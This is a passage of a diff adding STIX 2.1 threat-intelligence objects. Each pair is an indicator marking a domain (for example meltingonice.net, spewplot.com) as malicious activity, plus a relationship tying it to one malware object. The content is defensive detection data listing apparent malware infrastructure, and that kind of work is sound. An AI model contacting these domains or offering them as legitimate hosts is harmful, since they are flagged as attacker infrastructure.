"2023-03-29T12:58:43.961527Z", + "modified": "2023-03-29T12:58:43.961527Z", + "relationship_type": "indicates", + "source_ref": "indicator--421872b0-c014-4a53-83a0-2cfba15d2fca", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--58358aac-0088-430c-95c9-1ecc3c755f9d", + "created": "2023-03-29T12:58:43.961699Z", + "modified": "2023-03-29T12:58:43.961699Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='meltingonice.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.961699Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--57a49998-f38b-4571-a107-96d36fb406de", + "created": "2023-03-29T12:58:43.962292Z", + "modified": "2023-03-29T12:58:43.962292Z", + "relationship_type": "indicates", + "source_ref": "indicator--58358aac-0088-430c-95c9-1ecc3c755f9d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7949a461-1857-497c-ae90-3d4927e95522", + "created": "2023-03-29T12:58:43.962459Z", + "modified": "2023-03-29T12:58:43.962459Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='acutenessoverwrite.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.962459Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e11be350-10ae-42be-8d2b-59f3f327d92a", + "created": "2023-03-29T12:58:43.963062Z", + "modified": "2023-03-29T12:58:43.963062Z", + "relationship_type": "indicates", + "source_ref": "indicator--7949a461-1857-497c-ae90-3d4927e95522", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c41491db-8346-48f8-ab8a-324d6e1bb27e", + "created": "2023-03-29T12:58:43.963229Z", + "modified": "2023-03-29T12:58:43.963229Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='prowlingunruffled.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.963229Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--758bf546-56b1-4d2e-81f4-b4e6cfbc4bcd", + "created": "2023-03-29T12:58:43.963838Z", + "modified": "2023-03-29T12:58:43.963838Z", + "relationship_type": "indicates", + "source_ref": "indicator--c41491db-8346-48f8-ab8a-324d6e1bb27e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1c7be150-08e2-4f06-8a3e-0607b13355ca", + "created": "2023-03-29T12:58:43.964011Z", + "modified": "2023-03-29T12:58:43.964011Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='raiderboasting.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.964011Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ee63efd7-bbc3-4d47-ba78-f18533c2bc5a", + "created": "2023-03-29T12:58:43.964612Z", + "modified": "2023-03-29T12:58:43.964612Z", + "relationship_type": "indicates", + "source_ref": "indicator--1c7be150-08e2-4f06-8a3e-0607b13355ca", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--77a92c89-b8d5-4fc4-8425-3f56b361898f", + "created": "2023-03-29T12:58:43.964781Z", + "modified": "2023-03-29T12:58:43.964781Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='overuseranked.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.964781Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--902009d6-d2d4-4d54-af29-d6c46d6aea79", + "created": "2023-03-29T12:58:43.96538Z", + "modified": "2023-03-29T12:58:43.96538Z", + "relationship_type": "indicates", + "source_ref": "indicator--77a92c89-b8d5-4fc4-8425-3f56b361898f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--dc04acb1-e10e-4428-ab6f-58df2181d452", + "created": "2023-03-29T12:58:43.965555Z", + "modified": "2023-03-29T12:58:43.965555Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='zoologycustomer.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.965555Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1c9a7882-e2f3-45c9-bd5d-4a4d115013b5", + "created": "2023-03-29T12:58:43.966157Z", + "modified": "2023-03-29T12:58:43.966157Z", + "relationship_type": "indicates", + "source_ref": "indicator--dc04acb1-e10e-4428-ab6f-58df2181d452", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c1fc9fab-b89e-4c91-ae42-a415c476e1e9", + "created": "2023-03-29T12:58:43.966325Z", + "modified": "2023-03-29T12:58:43.966325Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='washedoverturn.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.966325Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0f9ed59a-9832-47f0-a07f-9fd05229d362", + "created": "2023-03-29T12:58:43.966925Z", + "modified": "2023-03-29T12:58:43.966925Z", + "relationship_type": "indicates", + "source_ref": "indicator--c1fc9fab-b89e-4c91-ae42-a415c476e1e9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4bfa8210-0b86-430d-bdc9-691861e07e28", + "created": "2023-03-29T12:58:43.967094Z", + "modified": "2023-03-29T12:58:43.967094Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='containerspinner.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.967094Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d64579aa-9034-41d0-b4d3-521081bba789", + "created": "2023-03-29T12:58:43.967812Z", + "modified": "2023-03-29T12:58:43.967812Z", + "relationship_type": "indicates", + "source_ref": "indicator--4bfa8210-0b86-430d-bdc9-691861e07e28", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2ad573c2-36ed-4323-b776-8b5014b4929c", + "created": "2023-03-29T12:58:43.967983Z", + "modified": "2023-03-29T12:58:43.967983Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='spinachhydrant.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.967983Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8a34ee13-e90f-4103-9b91-debe1ae05652", + "created": "2023-03-29T12:58:43.968585Z", + "modified": "2023-03-29T12:58:43.968585Z", + "relationship_type": "indicates", + "source_ref": "indicator--2ad573c2-36ed-4323-b776-8b5014b4929c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ae578053-b169-48d8-93a9-bf4f693231f6", + "created": "2023-03-29T12:58:43.968753Z", + "modified": "2023-03-29T12:58:43.968753Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jabiruserated.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.968753Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--720cf5b9-e283-43cd-8f64-857ce1951b3b", + "created": "2023-03-29T12:58:43.969353Z", + "modified": "2023-03-29T12:58:43.969353Z", + "relationship_type": "indicates", + "source_ref": "indicator--ae578053-b169-48d8-93a9-bf4f693231f6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a12524d8-4447-4870-ae6f-4372bf1a8c48", + "created": "2023-03-29T12:58:43.969521Z", + "modified": "2023-03-29T12:58:43.969521Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='creamlikeexcusably.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.969521Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f6198acc-6fad-4917-b063-43dc987766ef", + "created": "2023-03-29T12:58:43.970135Z", + "modified": "2023-03-29T12:58:43.970135Z", + "relationship_type": "indicates", + "source_ref": "indicator--a12524d8-4447-4870-ae6f-4372bf1a8c48", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ae9ee209-7375-42aa-b77d-f004d9b81e41", + "created": "2023-03-29T12:58:43.970303Z", + "modified": "2023-03-29T12:58:43.970303Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unglazeddimmed.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.970303Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--da69387d-2110-4fea-a996-3a2c531deb5d", + "created": "2023-03-29T12:58:43.970904Z", + "modified": "2023-03-29T12:58:43.970904Z", + "relationship_type": "indicates", + "source_ref": "indicator--ae9ee209-7375-42aa-b77d-f004d9b81e41", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1f38ac3d-1003-4c03-a297-a0f297cc49f1", + "created": "2023-03-29T12:58:43.971073Z", + "modified": "2023-03-29T12:58:43.971073Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='handwritebasics.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.971073Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2c926395-4501-4ad9-a55f-9874f7e1525c", + "created": "2023-03-29T12:58:43.971671Z", + "modified": "2023-03-29T12:58:43.971671Z", + "relationship_type": "indicates", + "source_ref": "indicator--1f38ac3d-1003-4c03-a297-a0f297cc49f1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e28b7548-673e-4efa-abc0-78975b856144", + "created": "2023-03-29T12:58:43.971838Z", + "modified": "2023-03-29T12:58:43.971838Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='blurrybaked.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.971838Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7870701d-0aa8-4744-8c7f-7009fcbef812", + "created": "2023-03-29T12:58:43.972437Z", + "modified": "2023-03-29T12:58:43.972437Z", + "relationship_type": "indicates", + "source_ref": "indicator--e28b7548-673e-4efa-abc0-78975b856144", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ee86a232-23fa-47f6-b46e-63ba31ea2046", + "created": "2023-03-29T12:58:43.972605Z", + "modified": "2023-03-29T12:58:43.972605Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='chunkjawed.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.972605Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ab08a0f9-c0e6-4d1d-8934-47480d1386f3", + "created": "2023-03-29T12:58:43.9732Z", + "modified": "2023-03-29T12:58:43.9732Z", + "relationship_type": "indicates", + "source_ref": "indicator--ee86a232-23fa-47f6-b46e-63ba31ea2046", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b963775d-64d1-4ef7-955a-d8bc58bf7a41", + "created": "2023-03-29T12:58:43.97337Z", + "modified": "2023-03-29T12:58:43.97337Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='startingpencil.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.97337Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--38e9194d-3c88-4de5-bc01-619f164018be", + "created": "2023-03-29T12:58:43.973978Z", + "modified": "2023-03-29T12:58:43.973978Z", + "relationship_type": "indicates", + "source_ref": "indicator--b963775d-64d1-4ef7-955a-d8bc58bf7a41", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b16814ae-23be-42ab-81d5-cefac4a9ce32", + "created": "2023-03-29T12:58:43.974148Z", + "modified": "2023-03-29T12:58:43.974148Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='protresponse.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.974148Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--01f6450a-c8b9-4171-9521-ffa34ef65c1b", + "created": "2023-03-29T12:58:43.974892Z", + "modified": "2023-03-29T12:58:43.974892Z", + "relationship_type": "indicates", + "source_ref": "indicator--b16814ae-23be-42ab-81d5-cefac4a9ce32", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--846831e3-f264-401f-b5a1-25751a3c410e", + "created": "2023-03-29T12:58:43.97507Z", + "modified": "2023-03-29T12:58:43.97507Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hazedvision.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.97507Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4cf1df1f-cfb4-4956-8269-f9af12926af8", + "created": "2023-03-29T12:58:43.975667Z", + "modified": "2023-03-29T12:58:43.975667Z", + "relationship_type": "indicates", + "source_ref": "indicator--846831e3-f264-401f-b5a1-25751a3c410e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cf088e5d-ac0d-4527-bc28-35630d1fee82", + "created": "2023-03-29T12:58:43.975837Z", + "modified": "2023-03-29T12:58:43.975837Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='phonebookspirits.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.975837Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c40d4206-7424-4aa4-b2c6-c057d98d496b", + "created": "2023-03-29T12:58:43.976437Z", + "modified": "2023-03-29T12:58:43.976437Z", + "relationship_type": "indicates", + "source_ref": "indicator--cf088e5d-ac0d-4527-bc28-35630d1fee82", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d5d72454-92a6-4e78-9296-5fe67d4340b2", + "created": "2023-03-29T12:58:43.976645Z", + "modified": "2023-03-29T12:58:43.976645Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='oxidantfestive.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.976645Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d6e42a90-037d-46c7-a1a7-5a2d24d59101", + "created": "2023-03-29T12:58:43.977254Z", + "modified": "2023-03-29T12:58:43.977254Z", + "relationship_type": "indicates", + "source_ref": "indicator--d5d72454-92a6-4e78-9296-5fe67d4340b2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cb87ab8e-a232-4463-b4bd-423fe2a2639c", + "created": "2023-03-29T12:58:43.977423Z", + "modified": "2023-03-29T12:58:43.977423Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='undamagedappraiser.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.977423Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--acec735c-851d-4e74-a641-aa2d201b9753", + "created": "2023-03-29T12:58:43.978033Z", + "modified": "2023-03-29T12:58:43.978033Z", + "relationship_type": "indicates", + "source_ref": "indicator--cb87ab8e-a232-4463-b4bd-423fe2a2639c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--02c10481-1d85-45e1-9f84-1f6292018797", + "created": "2023-03-29T12:58:43.978206Z", + "modified": "2023-03-29T12:58:43.978206Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='schemingcredibly.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.978206Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2c546a7d-f034-413f-95e8-48f995f90cff", + "created": "2023-03-29T12:58:43.978808Z", + "modified": "2023-03-29T12:58:43.978808Z", + "relationship_type": "indicates", + "source_ref": "indicator--02c10481-1d85-45e1-9f84-1f6292018797", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--37f9c2fc-3dda-4af2-ab9e-7d7ced72e472", + "created": "2023-03-29T12:58:43.978976Z", + "modified": "2023-03-29T12:58:43.978976Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='spewplot.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.978976Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--01d17686-f858-4e06-8553-c0b7129884df", + "created": "2023-03-29T12:58:43.979569Z", + "modified": "2023-03-29T12:58:43.979569Z", + "relationship_type": "indicates", + "source_ref": "indicator--37f9c2fc-3dda-4af2-ab9e-7d7ced72e472", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c43683c7-4582-4367-a4bf-891e972211bc", + "created": "2023-03-29T12:58:43.979737Z", + "modified": "2023-03-29T12:58:43.979737Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ferryduke.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.979737Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bd403cb4-e876-4bce-bb71-618ef5175f2d", + "created": "2023-03-29T12:58:43.980339Z", + "modified": "2023-03-29T12:58:43.980339Z", + "relationship_type": "indicates", + "source_ref": "indicator--c43683c7-4582-4367-a4bf-891e972211bc", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2cc56035-a8b2-4d79-8df4-cccc95a3708c", + "created": "2023-03-29T12:58:43.980508Z", + "modified": "2023-03-29T12:58:43.980508Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bansheeroundness.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.980508Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--80219055-c8dd-4b36-a2d8-3ecdb0303138", + "created": "2023-03-29T12:58:43.981113Z", + "modified": "2023-03-29T12:58:43.981113Z", + "relationship_type": "indicates", + "source_ref": "indicator--2cc56035-a8b2-4d79-8df4-cccc95a3708c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9429ef06-e8ee-469c-97f0-729fb43dff27", + "created": "2023-03-29T12:58:43.981281Z", + "modified": "2023-03-29T12:58:43.981281Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='walnutreach.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.981281Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fa7a1fd7-7887-4f81-a0b8-7dab215acfc9", + "created": "2023-03-29T12:58:43.981995Z", + "modified": "2023-03-29T12:58:43.981995Z", + "relationship_type": "indicates", + "source_ref": "indicator--9429ef06-e8ee-469c-97f0-729fb43dff27", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f3ebb99e-424a-4158-a17a-b23819cf3872", + "created": "2023-03-29T12:58:43.982169Z", + "modified": "2023-03-29T12:58:43.982169Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='falsifycadet.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.982169Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0e862505-bb9b-4922-bde2-880b37358cfe", + "created": "2023-03-29T12:58:43.982767Z", + "modified": "2023-03-29T12:58:43.982767Z", + "relationship_type": "indicates", + "source_ref": "indicator--f3ebb99e-424a-4158-a17a-b23819cf3872", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0f4f20b8-7418-4c05-a90f-a25bf8e079f8", + "created": "2023-03-29T12:58:43.982936Z", + "modified": "2023-03-29T12:58:43.982936Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='squeegeeelves.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.982936Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f8c1871f-5b4d-4c7e-9447-75e314b63420", + "created": "2023-03-29T12:58:43.983534Z", + "modified": "2023-03-29T12:58:43.983534Z", + "relationship_type": "indicates", + "source_ref": "indicator--0f4f20b8-7418-4c05-a90f-a25bf8e079f8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6d3854f2-9c48-4837-8a10-bc6be1b98741", + "created": "2023-03-29T12:58:43.983703Z", + "modified": "2023-03-29T12:58:43.983703Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='snoozedoze.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.983703Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bdf8b06c-b846-4681-9ee8-751f00694211", + "created": "2023-03-29T12:58:43.984293Z", + "modified": "2023-03-29T12:58:43.984293Z", + "relationship_type": "indicates", + "source_ref": "indicator--6d3854f2-9c48-4837-8a10-bc6be1b98741", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6ff5e51e-50d0-45ec-b25f-f94acc163a82", + "created": "2023-03-29T12:58:43.98446Z", + "modified": "2023-03-29T12:58:43.98446Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unpickedaltitude.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.98446Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--44b23f03-7676-4ed3-9773-c5ea37bc78dc", + "created": "2023-03-29T12:58:43.985066Z", + "modified": "2023-03-29T12:58:43.985066Z", + "relationship_type": "indicates", + "source_ref": "indicator--6ff5e51e-50d0-45ec-b25f-f94acc163a82", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c0343791-530d-474a-b6e7-2d60560321db", + "created": "2023-03-29T12:58:43.98524Z", + "modified": "2023-03-29T12:58:43.98524Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unopenedrippling.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.98524Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--23b92738-788f-4cdf-b069-183256505adb", + "created": "2023-03-29T12:58:43.985852Z", + "modified": "2023-03-29T12:58:43.985852Z", + "relationship_type": "indicates", + "source_ref": "indicator--c0343791-530d-474a-b6e7-2d60560321db", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f9d1d5ca-c99c-4291-877e-5f9e84481bc3", + "created": "2023-03-29T12:58:43.986024Z", + "modified": "2023-03-29T12:58:43.986024Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='freebaserepurpose.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.986024Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c2b415f1-0b29-4d1d-9c8b-8045787e966a", + "created": "2023-03-29T12:58:43.986629Z", + "modified": "2023-03-29T12:58:43.986629Z", + "relationship_type": "indicates", + "source_ref": "indicator--f9d1d5ca-c99c-4291-877e-5f9e84481bc3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bbe91c8b-7388-4c5d-84b9-56babf6321f7", + "created": "2023-03-29T12:58:43.986802Z", + "modified": "2023-03-29T12:58:43.986802Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='trasportovic.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.986802Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9555510c-fe52-42f9-ab02-cf6f8877cadc", + "created": "2023-03-29T12:58:43.987397Z", + "modified": "2023-03-29T12:58:43.987397Z", + "relationship_type": "indicates", + "source_ref": "indicator--bbe91c8b-7388-4c5d-84b9-56babf6321f7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8edb167c-fc59-4389-a70b-5261ccf629cd", + "created": "2023-03-29T12:58:43.987568Z", + "modified": "2023-03-29T12:58:43.987568Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='remoldlisp.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.987568Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--be73d1e0-4be1-40e2-adc0-5f38e10b22cf", + "created": "2023-03-29T12:58:43.98816Z", + "modified": "2023-03-29T12:58:43.98816Z", + "relationship_type": "indicates", + "source_ref": "indicator--8edb167c-fc59-4389-a70b-5261ccf629cd", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d38b32c2-323f-4e42-b686-ac8b371bf171", + "created": "2023-03-29T12:58:43.988328Z", + "modified": "2023-03-29T12:58:43.988328Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='commuteembattled.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.988328Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--723e2377-4ca4-41cf-a19c-03a30e03ffeb", + "created": "2023-03-29T12:58:43.989049Z", + "modified": "2023-03-29T12:58:43.989049Z", + "relationship_type": "indicates", + "source_ref": "indicator--d38b32c2-323f-4e42-b686-ac8b371bf171", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--22ea352b-bdd2-4537-afef-74b345e62fb2", + "created": "2023-03-29T12:58:43.98922Z", + "modified": "2023-03-29T12:58:43.98922Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='poshtraverse.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.98922Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c9bc0745-78be-4d6f-82f5-9200798d1c83", + "created": "2023-03-29T12:58:43.989828Z", + "modified": "2023-03-29T12:58:43.989828Z", + "relationship_type": "indicates", + "source_ref": "indicator--22ea352b-bdd2-4537-afef-74b345e62fb2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fa1b5870-74d0-4191-a886-7f44f57cde17", + "created": "2023-03-29T12:58:43.990Z", + "modified": "2023-03-29T12:58:43.990Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='simfacts.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.99Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--10f423fd-a597-4ecd-85ea-1c37236ec13d", + "created": "2023-03-29T12:58:43.990593Z", + 